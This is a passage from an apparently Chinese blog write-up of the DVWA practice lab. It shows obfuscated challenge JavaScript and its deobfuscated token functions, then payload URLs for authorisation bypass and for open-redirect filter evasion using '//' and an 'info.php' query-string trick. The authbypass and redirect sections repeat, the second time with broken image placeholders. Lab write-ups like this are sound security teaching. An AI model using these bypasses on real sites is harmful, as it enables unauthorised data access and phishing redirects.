((c>>>22)|(c<<10));1b=((g>>>6)|(g<<26))^((g>>>11)|(g<<21))^((g>>>25)|(g<<7));1V=c&d;1j=1V^(c&a)^1Z;1h=(g&h)^(~g&e);v=f+1b+1h+K[j+2]+l[j+2];1f=1a+1j;f=b+v<<0;b=v+1f<<0;1a=((b>>>2)|(b<<30))^((b>>>13)|(b<<19))^((b>>>22)|(b<<10));1b=((f>>>6)|(f<<26))^((f>>>11)|(f<<21))^((f>>>25)|(f<<7));1D=b&c;1j=1D^(b&d)^1V;1h=(f&g)^(~f&h);v=e+1b+1h+K[j+3]+l[j+3];1f=1a+1j;e=a+v<<0;a=v+1f<<0}k.C=k.C+a<<0;k.B=k.B+b<<0;k.E=k.E+c<<0;k.F=k.F+d<<0;k.J=k.J+e<<0;k.I=k.I+f<<0;k.H=k.H+g<<0;k.D=k.D+h<<0};N.Q.1e=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x201e=m[(C>>28)&o]+m[(C>>24)&o]+m[(C>>20)&o]+m[(C>>16)&o]+m[(C>>12)&o]+m[(C>>8)&o]+m[(C>>4)&o]+m[C&o]+m[(B>>28)&o]+m[(B>>24)&o]+m[(B>>20)&o]+m[(B>>16)&o]+m[(B>>12)&o]+m[(B>>8)&o]+m[(B>>4)&o]+m[B&o]+m[(E>>28)&o]+m[(E>>24)&o]+m[(E>>20)&o]+m[(E>>16)&o]+m[(E>>12)&o]+m[(E>>8)&o]+m[(E>>4)&o]+m[E&o]+m[(F>>28)&o]+m[(F>>24)&o]+m[(F>>20)&o]+m[(F>>16)&o]+m[(F>>12)&o]+m[(F>>8)&o]+m[(F>>4)&o]+m[F&o]+m[(J>>28)&o]+m[(J>>24)&o]+m[(J>>20)&o]+m[(J>>16)&o]+m[(J>>12)&o]+m[(J>>8)&o]+m[(J>>4)&o]+m[J&o]+m[(I>>28)&o]+m[(I>>24)&o]+m[(I>>20)&o]+m[(I>>16)&o]+m[(I>>12)&o]+m[(I>>8)&o]+m[(I>>4)&o]+m[I&o]+m[(H>>28)&o]+m[(H>>24)&o]+m[(H>>20)&o]+m[(H>>16)&o]+m[(H>>12)&o]+m[(H>>8)&o]+m[(H>>4)&o]+m[H&o];p(!k.x){1e+=m[(D>>28)&o]+m[(D>>24)&o]+m[(D>>20)&o]+m[(D>>16)&o]+m[(D>>12)&o]+m[(D>>8)&o]+m[(D>>4)&o]+m[D&o]}A\x201e};N.Q.2U=N.Q.1e;N.Q.1G=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x202b=[(C>>24)&u,(C>>16)&u,(C>>8)&u,C&u,(B>>24)&u,(B>>16)&u,(B>>8)&u,B&u,(E>>24)&u,(E>>16)&u,(E>>8)&u,E&u,(F>>24)&u,(F>>16)&u,(F>>8)&u,F&u,(J>>24)&u,(J>>16)&u,(J>>8)&u,J&u,(I>>24)&u,(I>>16)&u,(I>>8)&u,I&u,(H>>24)&u,(H>>16)&u,(H>>8)&u,H&u];p(!k.x){2b.4A((D>>24)&u,(D>>16)&u,(D>>8)&u,D&u)}A\x202b};N.Q.27=N.Q.1G;N.Q.2R=w(){k.1s();q\x201w=O\x20Z(k.x?28:32);q\x201i=O\x204x(1w);1i.1p(0,k.C);1i.1p(4,k.B);1i.1p(8,k.E);1i.1p(12,k.F);1i.1p(16,k.J);1i.1p(20,k.I);1i.1p(24,k.H);p(!k.x){1i.1p(28,k.D)}A\x201w};w\x201P(G,x,1v){q\x20i,T=1c\x20G;p(T===\x272p\x27){q\x20L=[],W=G.W,M=0,r;1g(i=0;i<W;++i){r=G.1Q(i);p(r<R){L[M++]=r}z\x20p(r<2v){L[M++]=(2t|(r>>6));L[M++]=(R|(r&V))}z\x20p(r<2A||r>=2E){L[M++]=(2D|(r>>12));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}z{r=2C+(((r&23)<<10)|(G.1Q(++i)&23));L[M++]=(2X|(r>>18));L[M++]=(R|((r>>12)&V));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}}G=L}z{p(T===\x271n\x27){p(G===2q){1u\x20O\x201t(1l)}z\x20p(1y&&G.1J===Z){G=O\x202r(G)}z\x20p(!1z.1K(G)){p(!1y||!Z.1N(G)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}}p(G.W>1k){G=(O\x20N(x,1d)).S(G).27()}q\x201F=[],2e=[];1g(i=0;i<1k;++i){q\x20b=G[i]||0;1F[i]=4z^b;2e[i]=4y^b}N.1I(k,x,1v);k.S(2e);k.1F=1F;k.2c=1d;k.1v=1v}1P.Q=O\x20N();1P.Q.1s=w(){N.Q.1s.1I(k);p(k.2c){k.2c=1O;q\x202W=k.27();N.1I(k,k.x,k.1v);k.S(k.1F);k.S(2W);N.Q.1s.1I(k)}};q\x20X=2a();X.1q=X;X.1H=2a(1d);X.1q.2V=2f();X.1H.2V=2f(1d);p(2G){2g.X=X}z{Y.1q=X.1q;Y.1H=X.1H;p(2s){2l(w(){A\x20X})}}})();w\x202y(e){1g(q\x20t=\x22\x22,n=e.W-1;n>=0;n--)t+=e[n];A\x20t}w\x202J(t,y=\x224B\x22){1m.1o(\x221M\x22).1r=1q(1m.1o(\x221M\x22).1r+y)}w\x202B(e=\x224E\x22){1m.1o(\x221M\x22).1r=1q(e+1m.1o(\x221M\x22).1r)}w\x202K(a,b){1m.1o(\x221M\x22).1r=2y(1m.1o(\x222F\x22).1r)}1m.1o(\x222F\x22).1r=\x22\x22;4u(w(){2B(\x224M\x22)},4N);1m.1o(\x224P\x22).4Q(\x224R\x22,2J);2K(\x223O\x22,44);', '||||||||||||||||||||this|blocks|HEX_CHARS||0x0F|if|var|code|message||0xFF|t1|function|is224||else|return|h1|h0|h7|h2|h3|key|h6|h5|h4||bytes|index|Sha256|new|method|prototype|0x80|update|type|SHIFT|0x3f|length|exports|root|ArrayBuffer|||||||||||s0|s1|typeof|true|hex|t2|for|ch|dataView|maj|64|ERROR|document|object|getElementById|setUint32|sha256|value|finalize|Error|throw|sharedMemory|buffer|obj|ARRAY_BUFFER|Array|start|ab|block|bc|OUTPUT_TYPES|oKeyPad|digest|sha224|call|constructor|isArray|hashed|token|isView|false|HmacSha256|charCodeAt|WINDOW|crypto|create|finalized|cd|hash|outputType|Buffer|da||||0x3ff||||array|||createMethod|arr|inner|process|iKeyPad|createHmacMethod|module|notString|hBytes|first|createHmacOutputMethod|define|createOutputMethod|algorithm|NODE_JS|string|null|Uint8Array|AMD|0xc0|lastByteIndex|0x800|EXTRA|createHash|do_something|nodeMethod|0xd800|token_part_2|0x10000|0xe0|0xe000|phrase|COMMON_JS|4294967296|window|token_part_3|token_part_1|WEB_WORKER|self|require|eval|nodeWrap|versions|arrayBuffer|JS_SHA256_NO_NODE_JS|undefined|toString|hmac|innerHash|0xf0|0xa2bfe8a1|0xc24b8b70||0xa81a664b||0x92722c85|0x81c2c92e|0xc76c51a3|0x53380d13|0x766a0abb|0x4d2c6dfc|0x650a7354|0x748f82ee|0x84c87814|0x78a5636f|0x682e6ff3|0x8cc70208|0x2e1b2138|0xa4506ceb|0x90befffa|0xbef9a3f7|0x5b9cca4f|0x4ed8aa4a|0x106aa070|0xf40e3585|0xd6990624|0x19a4c116|0x1e376c08|0x391c0cb3|0x34b0bcb5|0x2748774c|0xd192e819|0x0fc19dc6|32768|128|8388608|2147483648|split|0x428a2f98|0x71374491|0x59f111f1|0x3956c25b|0xe9b5dba5|0xb5c0fbcf|0123456789abcdef|JS_SHA256_NO_ARRAY_BUFFER|is|invalid|input|strict|use|JS_SHA256_NO_WINDOW|ABCD|amd|JS_SHA256_NO_COMMON_JS|global|node|0x923f82a4|0xab1c5ed5|0x983e5152|0xa831c66d|0x76f988da|0x5cb0a9dc|0x4a7484aa|0xb00327c8|0xbf597fc7|0x14292967|0x06ca6351||0xd5a79147|0xc6e00bf3|0x2de92c6f|0x240ca1cc|0x550c7dc3|0x72be5d74|0x243185be|0x12835b01|0xd807aa98|0x80deb1fe|0x9bdc06a7|0xc67178f2|0xefbe4786|0xe49b69c1|0xc19bf174|0x27b70a85|0x3070dd17|300032|1413257819|150054599|24177077|56|4294967295|0x5be0cd19|while|setTimeout|704751109|210244248|DataView|0x36|0x5c|push|ZZ|Object|143694565|YY|0x1f83d9ab|1521486534|0x367cd507|0xc1059ed8|0xffc00b31|0x68581511|0x64f98fa7|XX|300|0x9b05688c|send|addEventListener|click|utf8|0xbefa4fa4|0xf70e5939|0x510e527f|0xbb67ae85|0x6a09e667|0x3c6ef372|0xa54ff53a|JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW', 'split'];
(function(c, d) {
    var e = function(f) {
        while (--f) {
            c['push'](c['shift']());
        }
    };
    e(++d);
}(a, 0x1f4));
var b = function(c, d) {
    c = c - 0x0;
    var e = a[c];
    return e;
};
eval(function(d, e, f, g, h, i) {
    h = function(j) {
        return (j < e ? '' : h(parseInt(j / e))) + ((j = j % e) > 0x23 ? String[b('0x0')](j + 0x1d) : j[b('0x1')](0x24));
    }
    ;
    if (!''[b('0x2')](/^/, String)) {
        while (f--) {
            i[h(f)] = g[f] || h(f);
        }
        g = [function(k) {
            if ('wpA' !== b('0x3')) {
                return i[k];
            } else {
                while (f--) {
                    i[k(f)] = g[f] || k(f);
                }
                g = [function(l) {
                    return i[l];
                }
                ];
                k = function() {
                    return b('0x4');
                }
                ;
                f = 0x1;
            }
        }
        ];
        h = function() {
            return b('0x4');
        }
        ;
        f = 0x1;
    }
    ;while (f--) {
        if (g[f]) {
            if (b('0x5') === b('0x6')) {
                return i[h];
            } else {
                d = d[b('0x2')](new RegExp('\x5cb' + h(f) + '\x5cb','g'), g[f]);
            }
        }
    }
    return d;
}(b('0x7'), 0x3e, 0x137, b('0x8')[b('0x9')]('|'), 0x0, {}));

免费在线JavaScript混淆加密解密工具 - JS代码加密解密器

源码是一团乱码,这是典型的 JS 混淆,使用还原工具得到源码后得到关键代码部分如下。

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}

function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}

function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}

function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}

document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

由于执行 token_part_2(“XX”) 有 300 毫秒延时,所以 token_part_1(“ABCD”, 44) 会被先执行,而 token_part_3() 则是和提交按钮的 click 事件一起执行。

依次执行 token_part_1(“ABCD”, 44) 和 token_part_2(“XX”),最后点击提交执行 token_part_3()

payload

token_part_1("ABCD", 44)
token_part_2("XX")
token_part_3()

image-20250922212442405

Authorisation Bypass(未授权访问)

low

先使用管理员登录,然后记住下面的数据库以及路径 vulnerabilities/authbypass

image-20250922212624881

image-20250922212711893

登录到普通用户下

image-20250922212819758

我们输入之前的网址

image-20250922212838095

image-20250922212939132

发现可以未授权访问

medium

这里对用户名做出了限制

可以访问网站下面的文件

image-20250922213028396

image-20250922213100288

payload

http://127.0.0.1/dvwa/vulnerabilities/authbypass/get_user_data.php

high

方法和上面的差不多,不同的是需要抓包修改POST请求

image-20250922214122372

修改成功

Open HTTP Redirect(重定向)

low

image-20250922220751188

我们构造参数 让他重定向到百度里面去

image-20250922220754954

源码没有做任何过滤

medium

low级别的方法没什么区别,查看源码可以发现不同的地方在于禁用了http://,https:// 字段

image-20250922220945220

如果没有明确指定协议,直接以 // 开头,则表示使用和当前页面相同的协议,便可以绕过了

payload

http://127.0.0.1/dvwa/vulnerabilities/open_redirect/source/low.php?redirect=//www.baidu.com

high

查看源码可以发现与上面两个级别不同的是检查是否有info.php字段,如果没有,则不能进行重定向

构造代码绕过:

payload

source/low.php?redirect=http://www.baidu.com?id=info.php

image-20250922221347100

img-itPSG2x1-1758552306022)]

[外链图片转存中…(img-VYXIIGha-1758552306022)]

登录到普通用户下

[外链图片转存中…(img-4Hw1rd2y-1758552306022)]

我们输入之前的网址

[外链图片转存中…(img-hFGUSoJr-1758552306022)]

[外链图片转存中…(img-6fGSnTGD-1758552306022)]

发现可以未授权访问

medium

这里对用户名做出了限制

可以访问网站下面的文件

[外链图片转存中…(img-aq9DnJjj-1758552306022)]

[外链图片转存中…(img-yPG2lbQg-1758552306022)]

payload

http://127.0.0.1/dvwa/vulnerabilities/authbypass/get_user_data.php

high

方法和上面的差不多,不同的是需要抓包修改POST请求

[外链图片转存中…(img-1saQBUNZ-1758552306022)]

修改成功

Open HTTP Redirect(重定向)

low

[外链图片转存中…(img-VKXABKol-1758552306023)]

我们构造参数 让他重定向到百度里面去

[外链图片转存中…(img-DFXTCn6n-1758552306023)]

源码没有做任何过滤

medium

low级别的方法没什么区别,查看源码可以发现不同的地方在于禁用了http://,https:// 字段

[外链图片转存中…(img-aP8u3nwP-1758552306023)]

如果没有明确指定协议,直接以 // 开头,则表示使用和当前页面相同的协议,便可以绕过了

payload

http://127.0.0.1/dvwa/vulnerabilities/open_redirect/source/low.php?redirect=//www.baidu.com

high

查看源码可以发现与上面两个级别不同的是检查是否有info.php字段,如果没有,则不能进行重定向

构造代码绕过:

payload

source/low.php?redirect=http://www.baidu.com?id=info.php

[外链图片转存中…(img-KpjKioPr-1758552306023)]

完结撒花 (●’◡’●)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值